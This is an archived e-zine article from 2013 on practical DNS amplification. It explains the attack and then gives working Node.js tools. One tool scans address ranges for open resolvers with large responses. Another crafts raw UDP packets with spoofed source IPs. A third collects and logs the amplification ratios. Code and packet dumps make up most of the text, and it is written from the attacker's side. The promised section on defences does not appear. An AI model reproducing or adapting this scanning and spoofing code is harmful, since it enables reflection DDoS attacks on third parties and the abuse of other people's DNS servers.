Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Practical DNS-Amplification

MZh
Inception #1 (EN)
October 2013

[Back to index] [Comments]

Part 0

Good old DNS-Amplification. Those familiar with the subject could skip a paragraph or even doesn't read this at all.

Attack principle is pretty simple. Every nameserver responds to anything. If there's an IP address present into packet header, NS responds to that IP.

The sense of amplification is to achieve request packet size closer to respondse packet size. Most overused method is to query domain "." DNS responds with massive packet containing several root DNS records. It looks like this:

length 540
    209.160.35.110.domain   46.4.179.132.50723: [udp sum ok] 3- q: AAAA? . 0/13/14
    ns:
     . NS f.root-servers.net.,
     . NS g.root-servers.net.,
     . NS h.root-servers.net.,
     . NS i.root-servers.net.,
     . NS j.root-servers.net.,
     . NS k.root-servers.net.,
     . NS l.root-servers.net.,
     . NS m.root-servers.net.,
     . NS a.root-servers.net.,
     . NS b.root-servers.net.,
     . NS c.root-servers.net.,
     . NS d.root-servers.net.,
     . NS e.root-servers.net.
 ar:
  a.root-servers.net. A 198.41.0.4,
  a.root-servers.net. AAAA 2001:503:ba3e::2:30,
  b.root-servers.net. A 192.228.79.201,
  c.root-servers.net. A 192.33.4.12,
  d.root-servers.net. A 199.7.91.13,
  d.root-servers.net. AAAA 2001:500:2d::d,
  e.root-servers.net. A 192.203.230.10,
  f.root-servers.net. A 192.5.5.241,
  f.root-servers.net. AAAA 2001:500:2f::f,
  g.root-servers.net. A 192.112.36.4,
  h.root-servers.net. A 128.63.2.53,
  h.root-servers.net. AAAA 2001:500:1::803f:235,
  i.root-servers.net. A 192.36.148.17,
  i.root-servers.net. AAAA 2001:7fe::53

 (512)

As we could see, response extends 500 bytes. That's very much, considering the request was only 17 bytes (not counting IP/UDP headers). Normally, attacking requires servers with largest response packets. There are not so many DNS's good enough, as the attack is old as the world can be, and there's many solutions to prevent this vulnerability from being exploited. That's covered in article's final part.

Looking for vulnerable servers.

Attacker would need a server with enough bandwidth and hosting company being loyal to good outgoing UDP flow. It's better to scan with fast code, written in native languages. I used NodeJS as resolving lags overlaps time consumed to run the code. If theresn't enough performance, node could be executed as a cluster with over 9000 children. The idea is simple - send the packets and watch the responses. Packets could be sent to random host:

var ip = [rand(255), rand(255), rand(255), rand(255)].join('.')
sendPacket(ip);
 

as well as choosing target hosts more precisely. To speed up the scanning it is advised to get nameservers list, as large as possible. One would need a big (over 1-2 mln) list of any domains. As domain is taken from the list, DNS record is requested for that domain. Response would contain list of DNS's providing name resolution for that domain. These DNS's added to testing list.

var dns = require('dns');
dns.resolveNs('google.com', function (err, addresses) {
 if (!err){
  addresses.forEach(function (a) {
   sendPacket(a);
  });
 }
});
 

Now the fun part - send DNS packet:

var ns_packet = new Buffer([
    //---- стандартный заголовок -----
    0x00, 0x03, // Айди запроса
    0x01, 0x00, // Флаги
    0x00, 0x01, // Число запросов : 1
    0x00, 0x00, // Число ответов : 0
    0x00, 0x00, // Число авторизованных записей
    0x00, 0x00, // Число дополнительных записей
    //---- тело запроса -----
    // запись АААА для "."
    0x00, 0x00,
    0x1C, 0x00,
    0x01
]);
 

Code:

var client = dgram.createSocket('udp4');

function sendPacket(ip){
 client.send(ns_packet, 0, ns_packet.length, 53, ip, function(err, bytes) {
  console.log('sent %d bytes', bytes);
 });
}

client.on('error', function(msg, rinfo){
 console.log('client error');
});

client.on('message', function(msg, rinfo){
 if(msg.length > 0){
  console.log("%d bytes from %s:%d",
   msg.length, rinfo.address, rinfo.port);
 }
});
 

Thus, we managed to collect more than 100k servers, which answer with packages in 1/2 kb, in just a few hours.

Part 1

More efficient hosts scanning

Previously described step restricts from rapid increase in power due to:

More efficient approach is to scan from 2 servers, one dedicated to receiving packets from DNS, while another sends spoofed IP packets to DNS. It is mandatory that servers must be allocated in different data-centers, different countries preferred. There may be one or several spoofing servers. I checked with 2 spoofing and one receiving servers.

NodeJS applications are used to receive and send packets. Let's call receiving side the "client". It is crucially simplified. Functional example:

var dgram = require('dgram');
var fs = require('fs');
var dns = require('dns');
var util = require('util');

var ws = fs.createWriteStream("incoming_ips.txt", {
 flags: 'w+'
});

var server = dgram.createSocket("udp4");

function getPercent(total, amount){
 return (amount * 100) / total;
}

server.on('error', function(msg, rinfo){
 console.log('server error');
});

server.on('message', function(msg, rinfo){
 if(msg.length > 100){
  var line = util.format("%d:%s:%d:%d",
   msg.length, rinfo.address, rinfo.port,
   getPercent(17, msg.length));
  console.log(line);
  ws.write(line + 'n');
 }
});

server.bind(5353);
console.log('NS Client started');
 

This code will capture all of our logged packets, and the log would be parser friendly. A separate server would be introduced as a string: packet_size:DNS_IP:amplification_ratio

Spoofing part

Spoofing part is coded using node-raw-socket UNIX-sockets wrapper for *nix that allows to craft custom IP headers for outgoing packets. Of course this requires root priveleges. The principle is simple. We have crafted DNS request packet, along with IP header and UDP packet with DNS-query payload:

var buffer = new Buffer ([
 //--------- IP packet ----------
 0x45,
 0x00,
 0x00, 0x25, //length
 0x7c, 0x9b, //ID
 0x00, 0x00, //flagsfragment offset
 0x80,  //TTL
 0x11,  //protocol
 0x00, 0x00, //crc
 0x00, 0x00, 0x00, 0x00, //source IP
 0xc0, 0xa8, 0x41, 0x01, //dest IP
 //--------- 8 bytes  of UDP packet ----------
 0x14, 0xE9, //sender port
 0x00, 0x35, //target port
 0x00, 0x19, //data length
 0x00, 0x00, //crc
 //--------- 17 bytes of DNS packet ----------
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);
 

All we need is to insert addresses into IP header:

Source port 5353 used in UDP packet is the same port client listens to. Checksums are set to 0 for OS stack to recalculate checksums while sending packets.

Where to get IP addresses?

Random generated numbers shows good results, and it's possible to scan countries' ranges. I took listed ranges:

3.0.0.0-3.103.8.36
3.103.8.38-4.18.65.255
4.18.68.0-4.28.83.255
4.28.85.0-4.31.64.63
4.31.64.72-4.59.175.255
4.59.177.0-4.68.23.139
4.68.23.141-4.68.23.189
4.68.23.191-4.68.25.1
4.68.25.4-4.68.115.255
4.68.118.0-4.69.131.255
4.69.132.53-4.69.132.53
4.69.132.61-4.69.132.61
4.69.132.65-4.69.132.65

and explored them subsequently. It is important to provide subsequent packet flow on asynchronous architecture. To ensure this a spike was made proven rather stable, loading 20 megabits of 100 available and not blocking node's event pool. A shortened spike:

function repeater(diapasons, nextIp , endIp) {
 async(function(){
  process.nextTick(function(){
   repeater(diapasons, current_ip + 1, endIp);
  });
 });
}

repeater(undefined, undefined, undefined);
 

It requires raw-socket module to execute: npm install raw-socket Spoofing part code:

var raw = require ("raw-socket");
var fs = require('fs');
var dns = require('dns');
var util = require('util');

var options = {
    protocol: raw.Protocol.UDP,
    bufferSize: 4096*8
};

var socket = raw.createSocket (options);

socket.setOption (raw.SocketLevel.IPPROTO_IP,
raw.SocketOption.IP_HDRINCL, new Buffer ([0x00, 0x00, 0x00, 0x01]), 4);


var buffer = new Buffer ([
 //--------- IP packet ----------
 0x45,
 0x00,
 0x00, 0x25, //length
 0x7c, 0x9b, //ID
 0x00, 0x00, //flagsfragment offset
 0x80,  //TTL
 0x11,  //protocol
 0x00, 0x00, //crc
 0x00, 0x00, 0x00, 0x00, //source IP
 0xc0, 0xa8, 0x41, 0x01, //dest IP
 //--------- 8 bytes  of UDP packet ----------
 0x14, 0xE9, //sender port
 0x00, 0x35, //target port
 0x00, 0x19, //data length
 0x00, 0x00, //crc
 //--------- 17 bytes of DNS packet ----------
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);

function ip2long ( ip_address ) {
    var output = false;
    var parts = [];
    if (ip_address.match(/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/)) {
        parts  = ip_address.split('.');
        output = ( parts[0] * 16777216 +
        ( parts[1] * 65536 ) +
        ( parts[2] * 256 ) +
        ( parts[3] * 1 ) );
    }

    return output;
}

function long2ip ( proper_address ) {
    var output = false;

    if ( !isNaN ( proper_address ) && ( proper_address >= 0 ||
        proper_address <= 4294967295 ) ) {
  output = Math.floor (proper_address / Math.pow ( 256, 3 ) ) + '.' +
   Math.floor ( ( proper_address % Math.pow ( 256, 3 ) ) /
   Math.pow ( 256, 2 ) ) + '.' +
   Math.floor ( ( ( proper_address % Math.pow ( 256, 3 ) )  %
   Math.pow ( 256, 2 ) ) / Math.pow ( 256, 1 ) ) + '.' +
   Math.floor ( ( ( ( proper_address % Math.pow ( 256, 3 ) ) %
   Math.pow ( 256, 2 ) ) % Math.pow ( 256, 1 ) ) /
   Math.pow ( 256, 0 ) );
    }

    return output;
}


function rand(max){
 return Math.floor(Math.random()*max)
}

function ip_packet_length(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 2);
 }
 return buff.readUInt16BE(2);
}

function ip_packet_id(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 4);
 }
 return buff.readUInt16BE(4);
}

function ip_packet_ttl(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 8);
 }
 return buff.readUInt8(8);
}


function ip_packet_proto(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 9);
 }
 return buff.readUInt8(9);
}


function ip_packet_crc(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 10);
 }
 return buff.readUInt16BE(10);
}


function ip_packet_source_addr(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 12);
 }
 return buff.readUInt32BE(12);
}

function ip_packet_dest_addr(buff, newval){

 if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 16);
 }
 return buff.readUInt32BE(16);
}

//process IP ranges
function parseIpFile(filename){

 var diapasons = [];
 var ip_database = fs.readFileSync(filename).toString().split('n');

 console.log("ranges readed : %d", ip_database.length);

 var totalAddreses = 0;

 for(var i = 0; i < ip_database.length; i ++){

  var rangeStartEnd = ip_database[i].split('-');
  var startIp = ip2long(rangeStartEnd[0]);
  var endIp = ip2long(rangeStartEnd[1]);

  totalAddreses += (endIp - startIp);

  diapasons.push([
   startIp,
   endIp
  ]);
 }

 console.log('total addreses : %d', totalAddreses);

 return diapasons;
}

function sendPacket(possibleNSip, callback){

 ip_packet_dest_addr(buffer, possibleNSip);
 ip_packet_source_addr(buffer, collectorIpLong);


 socket.send (buffer, 0, buffer.length, long2ip(possibleNSip),
 function (error, bytes) {
     callback();
 });
}

function randomIp(){
 return ip2long([rand(250),rand(250),rand(250),
 rand(250)].join('.'));
}

function repeater(diapasons, nextIp , endIp) {
 var current_ip = nextIp;

 if(typeof(diapasons) === 'undefined'){
  current_ip = randomIp();
 }

 if(typeof(current_ip) === 'undefined'){
  var current_iprange = diapasons.shift();
  if( current_iprange.length > 0) {
   current_ip = current_iprange[0];
   endIp = current_iprange[1];
  }else{
   repeater(diapasons, undefined, undefined);
  }
 }

 sendPacket(current_ip, function(){
  if(current_ip === endIp){
   console.log('end of range, try next');
   repeater(diapasons, undefined, undefined);
  }else{
   process.nextTick(function(){
    repeater(diapasons, current_ip + 1, endIp);
   });
  }
 });

}

var collectorIp = '1.2.3.4'; // IP клиента, принимающего пакеты
var collectorIpLong = ip2long(collectorIp);

//для рандома передаем undefined вместо списка айпи
//repeater(undefined, undefined, undefined);
//для отправке по диапазонам, передаем отпарсенный диапазон
repeater(parseIpFile('US_ipranges.txt'), undefined, undefined);
 
MZh
2013
Inception E-Zine
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua